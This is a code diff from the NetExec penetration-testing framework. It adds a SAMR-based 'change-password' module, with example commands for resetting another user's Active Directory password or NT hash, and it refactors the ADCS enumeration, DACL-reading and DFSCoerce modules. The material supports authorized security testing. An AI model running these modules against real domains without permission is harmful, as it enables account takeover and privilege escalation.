+            ldap_port=connection.port,
+            ldap_scheme="ldaps" if connection.port == 636 else "ldap",
+            ldap_signing=connection.signing_required,
+            ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
+        )
+
+        finder = Find(
+            target=target,
+            json=self.json,
+            csv=self.csv,
+            text=self.text,
+            output_path=self.output_path,
+            stdout=True,
+            vulnerable=self.vuln,
+            enabled=self.enabled,
+        )
+
+        # Get templates and CAs
+        templates = finder.get_certificate_templates()
+        cas = finder.get_certificate_authorities()
+        finder._link_cas_and_templates(cas, templates)
+
+        # Get OIDs
+        oids = finder.get_issuance_policies()
+
+        # Process information
+        finder._link_templates_and_policies(templates, oids)
+        finder._process_ca_properties(cas)
+        finder._process_template_properties(templates)
+
+        output = finder.get_output_for_text_and_json(templates, cas, oids)
+        pretty_print(output, print_func=context.log.highlight)
+
+        # Save to disk if any export option specified
+        if self.json or self.csv or self.text:
+            makedirs(self.output_path, exist_ok=True)
+
+        filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        if self.json:
+            with open(f"{self.output_path}/{filename}.json", "w") as f:
+                json.dump(
+                    output,
+                    f,
+                    indent=2,
+                    default=str,
+                )
+        if self.csv:
+            template_output = finder.get_template_output_for_csv(output)
+            ca_output = finder.get_ca_output_for_csv(output)
+            with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
+                f.write(template_output)
+            with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
+                f.write(ca_output)
+        if self.text:
+            with open(f"{self.output_path}/{filename}.txt", "w") as f:
+                pretty_print(output, print_func=lambda x: f.write(x + "\n"))

nxc/modules/change-password.py

@@ -0,0 +1,159 @@
+import sys
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Module for changing or resetting user passwords
+    Module by Fagan Afandiyev, termanix and NeffIsBack
+    """
+
+    name = "change-password"
+    description = "Change or reset user passwords via various protocols"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        Required (one of):
+        NEWPASS     The new password of the user.
+        NEWNTHASH   The new NT hash of the user.
+
+        Optional:
+        USER        The user account if the target is not the current user.
+
+        Examples
+        --------
+        If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
+            netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
+            netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
+
+        If want to change other user's password (with forcechangepassword priv or admin rights)
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
+        """
+        self.newpass = module_options.get("NEWPASS")
+        self.newhash = module_options.get("NEWNTHASH")
+        self.target_user = module_options.get("USER")
+
+        if not self.newpass and not self.newhash:
+            context.log.fail("Either NEWPASS or NEWNTHASH is required!")
+            sys.exit(1)
+
+    def authenticate(self, context, connection, protocol, anonymous=False):
+        # Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
+        try:
+            # Map to the SAMR endpoint on the target
+            string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
+            rpctransport = transport.DCERPCTransportFactory(string_binding)
+            rpctransport.setRemoteHost(connection.host)
+
+            if anonymous:
+                rpctransport.set_credentials("", "", "", "", "", "")
+                rpctransport.set_kerberos(False, None)
+                context.log.info("Connecting with null session credentials.")
+            else:
+                rpctransport.set_credentials(
+                    connection.username,
+                    connection.password,
+                    connection.domain,
+                    connection.lmhash,
+                    connection.nthash,
+                    aesKey=connection.aesKey,
+                )
+                context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
+
+            # Connect to the DCE/RPC endpoint and bind to the SAMR service
+            dce = rpctransport.get_dce_rpc()
+            dce.connect()
+            context.log.info("[+] Successfully connected to DCE/RPC")
+            dce.bind(samr.MSRPC_UUID_SAMR)
+            context.log.info("[+] Successfully bound to SAMR")
+            return dce
+        except DCERPCException as e:
+            context.log.fail(f"DCE/RPC Exception: {e!s}")
+            raise
+
+    def on_login(self, context, connection):
+        self.context = context
+        target_username = self.target_user or connection.username
+        target_domain = connection.domain
+
+        # Grab all creds from the connection to use for authentication
+        self.oldpass = connection.password
+        self.oldhash = connection.nthash
+
+        new_lmhash, new_nthash = "", ""
+
+        # Parse new hash values if provided
+        if self.newhash:
+            try:
+                new_lmhash, new_nthash = self.newhash.split(":")
+            except ValueError:
+                new_nthash = self.newhash
+
+        try:
+            self.anonymous = False
+            self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
+        except Exception as e:
+            # Handle specific errors like password expiration or must be change
+            if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
+                context.log.warning("Password must be changed. Trying with null session.")
+                self.anonymous = True
+                self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
+            elif "STATUS_LOGON_FAILURE" in str(e):
+                context.log.fail("Authentication failure: wrong credentials.")
+                return False
+            else:
+                raise
+
+        try:
+            # Perform the SMB SAMR password change
+            self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
+
+            # Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
+            user = self.context.db.get_user(target_domain, target_username)
+            user_ids = [row[0] for row in user]
+            self.context.db.remove_credentials(user_ids)
+
+            # Store the new credentials in the database
+            if new_nthash:
+                self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
+            else:
+                self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
+        except Exception as e:
+            context.log.fail(f"SMB-SAMR password change failed: {e}")
+        finally:
+            self.dce.disconnect()
+
+    def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
+        # Reset the password for a different user
+        if target_username != connection.username:
+            user_handle = self._hSamrOpenUser(connection, target_username)
+            samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
+            context.log.success(f"Successfully changed password for {target_username}")
+        else:
+            # Change password for the current user
+            if newPassword:
+                # Change the password with new password
+                samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
+            else:
+                # Change the password with new hash
+                user_handle = self._hSamrOpenUser(connection, target_username)
+                samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
+                context.log.highlight("Note: Target user must change password at next logon.")
+            context.log.success(f"Successfully changed password for {target_username}")
+
+    def _hSamrOpenUser(self, connection, username):
+        """Get handle to the user object"""
+        try:
+            # Connect to the target server and retrieve handles
+            server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
+            domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
+            domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
+            user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
+            return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
+        except Exception as e:
+            self.context.log.fail(f"Failed to open user: {e}")

nxc/modules/daclread.py

@@ -1,16 +1,17 @@
 import binascii
-import codecs
 import json
-import re
 import datetime
 from enum import Enum
 from impacket.ldap import ldaptypes
 from impacket.uuid import bin_to_string
+from nxc.helpers.misc import CATEGORY
 from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
-from ldap3.protocol.formatters.formatters import format_sid
+from nxc.parsers.ldap_results import parse_result_attributes
 from ldap3.utils.conv import escape_filter_chars
 from ldap3.protocol.microsoft import security_descriptor_control
 import sys
+import traceback
+from os.path import isfile
 
 OBJECT_TYPES_GUID = {}
 OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -65,7 +66,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +75,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
-    "S-1-5-32-580": "BUILTIN\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
 }
 
 
@@ -188,6 +189,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
     Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
 
 
+SEARCH_FILTERS = {
+    "TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
+    "TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
+}
+
+
 class NXCModule:
     """Module to read and backup the Discretionary Access Control List of one or multiple objects.
 
@@ -199,16 +206,23 @@ class NXCModule:
     name = "daclread"
     description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
         self.module_options = module_options
 
+        # Initialize module variables
+        self.principal_sAMAccountName = None
+        self.principal_sid = None
+        self.action = "read"
+        self.ace_type = "allowed"
+        self.rights = None
+        self.rights_guid = None
+
     def options(self, context, module_options):
         """
-        Be careful, this module cannot read the DACLS recursively. 
+        Be careful, this module cannot read the DACLS recursively.
         For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
 
         TARGET          The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -221,220 +235,140 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
-        self.context = context
-
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
             context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
             sys.exit(1)
 
-        if module_options and "TARGET" in module_options:
-            context.log.debug("There is a target specified!")
-            if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
-                try:
-                    self.target_file = open(module_options["TARGET"])  # noqa: SIM115
-                    self.target_sAMAccountName = None
-                except Exception:
-                    context.log.fail("The file doesn't exist or cannot be openned.")
-            else:
-                context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
-                self.target_sAMAccountName = module_options["TARGET"]
-                self.target_file = None
-            self.target_DN = None
+        self.targets = []
         self.target_SID = None
-        if module_options and "TARGET_DN" in module_options:
-            self.target_DN = module_options["TARGET_DN"]
-            self.target_sAMAccountName = None
-            self.target_file = None
 
-        if module_options and "PRINCIPAL" in module_options:
+        for option in "TARGET", "TARGET_DN":
+            if option in module_options:
+                context.log.debug("There is a target specified!")
+                if isfile(module_options[option]):
+                    try:
+                        target_file = open(module_options[option])  # noqa: SIM115
+                        for line in target_file:
+                            context.log.debug(f"Adding target from file: {line}")
+                            self.targets.append((line.strip(), SEARCH_FILTERS[option]))
+                    except Exception:
+                        context.log.fail("The file doesn't exist or cannot be opened.")
+                else:
+                    context.log.debug(f"Adding target: {module_options[option]}")
+                    self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
+
+        if not self.targets:
+            context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
+            sys.exit(1)
+
+        if "PRINCIPAL" in module_options:
             self.principal_sAMAccountName = module_options["PRINCIPAL"]
-        else:
-            self.principal_sAMAccountName = None
-        self.principal_sid = None
 
-        if module_options and "ACTION" in module_options:
+        if "ACTION" in module_options:
             self.action = module_options["ACTION"]
-        else:
-            self.action = "read"
-        if module_options and "ACE_TYPE" in module_options:
+
+        if "ACE_TYPE" in module_options:
             self.ace_type = module_options["ACE_TYPE"]
-        else:
-            self.ace_type = "allowed"
-        if module_options and "RIGHTS" in module_options:
+
+        if "RIGHTS" in module_options:
             self.rights = module_options["RIGHTS"]
-        else:
-            self.rights = None
-        if module_options and "RIGHTS_GUID" in module_options:
+
+        if "RIGHTS_GUID" in module_options:
             self.rights_guid = module_options["RIGHTS_GUID"]
-        else:
-            self.rights_guid = None
-        self.filename = None
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
-        self.baseDN = connection.ldapConnection._baseDN
-        self.ldap_session = connection.ldapConnection
+        self.context = context
+        self.connection = connection
 
         # Searching for the principal SID
         if self.principal_sAMAccountName is not None:
-            _lookedup_principal = self.principal_sAMAccountName
             try:
-                self.principal_sid = format_sid(
-                    self.ldap_session.search(
-                        searchBase=self.baseDN,
-                        searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
-                        attributes=["objectSid"],
-                    )[0][1][0][1][0]
+                resp = connection.search(
+                    searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
+                    attributes=["objectSid"],
                 )
+                resp_parsed = parse_result_attributes(resp)[0]
+                self.principal_sid = resp_parsed["objectSid"]
                 context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
-            except Exception:
-                context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
-                sys.exit(1)
+            except Exception as e:
+                context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                return
 
         # Searching for the targets SID and their Security Descriptors
-        # If there is only one target
-        if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
-            # Searching for target account with its security descriptor
+        for target, search_filter in self.targets:
             try:
-                self.search_target_principal_security_descriptor(context, connection)
+                # Searching for target account with its security descriptor
+                resp = connection.search(
+                    searchFilter=search_filter(target),
+                    attributes=["distinguishedName", "nTSecurityDescriptor"],
+                    searchControls=security_descriptor_control(sdflags=0x04),
+                )
+                resp_parsed = parse_result_attributes(resp)[0]
+
                 # Extract security descriptor data
-                self.target_principal_dn = self.target_principal[0]
-                self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
-                self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
-            except Exception:
-                context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
-                sys.exit(1)
+                target_principal_dn = resp_parsed["distinguishedName"]
+                principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
+                principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
+                context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
+            except Exception as e:
+                context.log.fail(f"Target SID not found in LDAP ({target})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                continue
 
             if self.action == "read":
-                self.read(context)
+                self.read(principal_security_descriptor)
             if self.action == "backup":
-                self.backup(context)
-
-        # If there are multiple targets
-        else:
-            targets = self.target_file.readlines()
-            for target in targets:
-                try:
-                    self.target_sAMAccountName = target.strip()
-                    # Searching for target account with its security descriptor
-                    self.search_target_principal_security_descriptor(context, connection)
-                    # Extract security descriptor data
-                    self.target_principal_dn = self.target_principal[0]
-                    self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
-                    self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                    context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
-                except Exception:
-                    context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
-                    continue
-
-                if self.action == "read":
-                    self.read(context)
-                if self.action == "backup":
-                    self.backup(context)
+                self.backup(target, target_principal_dn, principal_raw_security_descriptor)
 
     # Main read funtion
     # Prints the parsed DACL
-    def read(self, context):
-        parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
-        self.print_parsed_dacl(context, parsed_dacl)
+    def read(self, principal_security_descriptor):
+        parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
+        self.print_parsed_dacl(parsed_dacl)
 
     # Permits to export the DACL of the targets
     # This function is called before any writing action (write, remove or restore)
-    def backup(self, context):
+    def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
         backup = {}
-        backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
-        backup["dn"] = str(self.target_principal_dn)
-        if not self.filename:
-            self.filename = "dacledit-{}-{}.bak".format(
-                datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
-                self.target_sAMAccountName,
-            )
-        with codecs.open(self.filename, "w", "latin-1") as outfile:
+        backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
+        backup["dn"] = str(target_principal_dn)
+
+        timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
+        filename = f"dacledit-{timestamp}-{target}.bak"
+        with open(filename, "w", encoding="latin-1") as outfile:
             json.dump(backup, outfile)
-        context.log.highlight("DACL backed up to %s", self.filename)
-        self.filename = None
+        self.context.log.highlight(f"DACL backed up to {filename}")
 
-    # Attempts to retrieve the DACL in the Security Descriptor of the specified target
-    def search_target_principal_security_descriptor(self, context, connection):
-        _lookedup_principal = ""
-        # Set SD flags to only query for DACL
-        controls = security_descriptor_control(sdflags=0x04)
-        if self.target_sAMAccountName is not None:
-            _lookedup_principal = self.target_sAMAccountName
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        if self.target_DN is not None:
-            _lookedup_principal = self.target_DN
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter=f"(distinguishedName={_lookedup_principal})",
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        try:
-            self.target_principal = target[0]
-        except Exception:
-            context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
-            sys.exit(0)
-
-    # Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
-    # Not used for the moment
-    #   - samname : a sAMAccountName
-    def get_user_info(self, context, samname):
-        self.ldap_session.search(
-            searchBase=self.baseDN,
-            searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
-            attributes=["objectSid"],
-        )
-        try:
-            dn = self.ldap_session.entries[0].entry_dn
-            sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
-            return dn, sid
-        except Exception:
-            context.log.fail(f"User not found in LDAP: {samname}")
-            return False
-
-    # Attempts to resolve a SID and return the corresponding samaccountname
-    #   - sid : the SID to resolve
-    def resolveSID(self, context, sid):
+    def resolveSID(self, sid):
+        """Resolves a SID to its corresponding sAMAccountName."""
         # Tries to resolve the SID from the well known SIDs
         if sid in WELL_KNOWN_SIDS:
             return WELL_KNOWN_SIDS[sid]
+
         # Tries to resolve the SID from the LDAP domain dump
-        else:
-            try:
-                self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter=f"(objectSid={sid})",
-                    attributes=["sAMAccountName"],
-                )[0][0]
-                return self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter=f"(objectSid={sid})",
-                    attributes=["sAMAccountName"],
-                )[0][1][0][1][0]
-            except Exception:
-                context.log.debug(f"SID not found in LDAP: {sid}")
-                return ""
+        try:
+            resp = self.connection.search(
+                searchFilter=f"(objectSid={sid})",
+                attributes=["sAMAccountName"],
+            )
+            return parse_result_attributes(resp)[0]["sAMAccountName"]
+        except Exception:
+            self.context.log.debug(f"SID not found in LDAP: {sid}")
+            return ""
 
     # Parses a full DACL
     #   - dacl : the DACL to parse, submitted in a Security Desciptor format
-    def parse_dacl(self, context, dacl):
+    def parse_dacl(self, dacl):
         parsed_dacl = []
-        context.log.debug("Parsing DACL")
-        i = 0
+        self.context.log.debug("Parsing DACL")
         for ace in dacl["Data"]:
-            parsed_ace = self.parse_ace(context, ace)
+            parsed_ace = self.parse_ace(ace)
             parsed_dacl.append(parsed_ace)
-            i += 1
         return parsed_dacl
 
     # Parses an access mask to extract the different values from a simple permission
@@ -448,7 +382,7 @@ class NXCModule:
 
     # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
     #   - ace : the ACE to parse
-    def parse_ace(self, context, ace):
+    def parse_ace(self, ace):
         # For the moment, only the Allowed and Denied Access ACE are supported
         if ace["TypeName"] in [
             "ACCESS_ALLOWED_ACE",
@@ -463,7 +397,7 @@ class NXCModule:
             # Extracts the access mask (by parsing the simple permissions) and the principal's SID
             if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
                 access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
-                trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
+                trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
                 parsed_ace = {
                     "Access mask": access_mask,
                     "Trustee (SID)": trustee_sid
@@ -490,12 +424,9 @@ class NXCModule:
                     except KeyError:
                         parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
                 # Extract the Trustee SID (the object that has the right over the DACL bearer)
-                parsed_ace["Trustee (SID)"] = "{} ({})".format(
-                    self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
-                    ace["Ace"]["Sid"].formatCanonical(),
-                )
+                parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
         else:  # if the ACE is not an access allowed
-            context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
+            self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
             _ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
             parsed_ace = {
                 "ACE type": ace["TypeName"],
@@ -504,18 +435,19 @@ class NXCModule:
             }
         return parsed_ace
 
-    def print_parsed_dacl(self, context, parsed_dacl):
+    def print_parsed_dacl(self, parsed_dacl):
         """Prints a full DACL by printing each parsed ACE
-        
+
         parsed_dacl : a parsed DACL from parse_dacl()
         """
-        context.log.debug("Printing parsed DACL")
-        i = 0
+        self.context.log.debug("Printing parsed DACL")
         # If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
         # If an ACE type has been specified, only the ACE with this type will be specified
         # If a principal has been specified, only the ACE where he is the trustee will be printed
-        for parsed_ace in parsed_dacl:
+        for i, parsed_ace in enumerate(parsed_dacl):
             print_ace = True
+            self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
+
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -528,7 +460,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -536,7 +468,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -544,13 +476,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -558,18 +490,17 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
-                self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
+                self.context.log.highlight(f"ACE[{i}] info")
                 self.print_parsed_ace(parsed_ace)
-            i += 1
 
     # Prints properly a parsed ACE
     #   - parsed_ace : a parsed ACE from parse_ace()
     def print_parsed_ace(self, parsed_ace):
         elements_name = list(parsed_ace.keys())
         for attribute in elements_name:
-            self.context.log.highlight("    %-26s: %s" % (attribute, parsed_ace[attribute]))
+            self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
 
     # Retrieves the GUIDs for the specified rights
     def build_guids_for_rights(self):

nxc/modules/dfscoerce.py

@@ -1,18 +1,11 @@
-from impacket import system_errors
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.ndr import NDRCALL
-from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.uuid import uuidtup_to_bin
-from nxc.logger import nxc_logger
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
     name = "dfscoerce"
-    description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
+    description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def __init__(self, context=None, module_options=None):
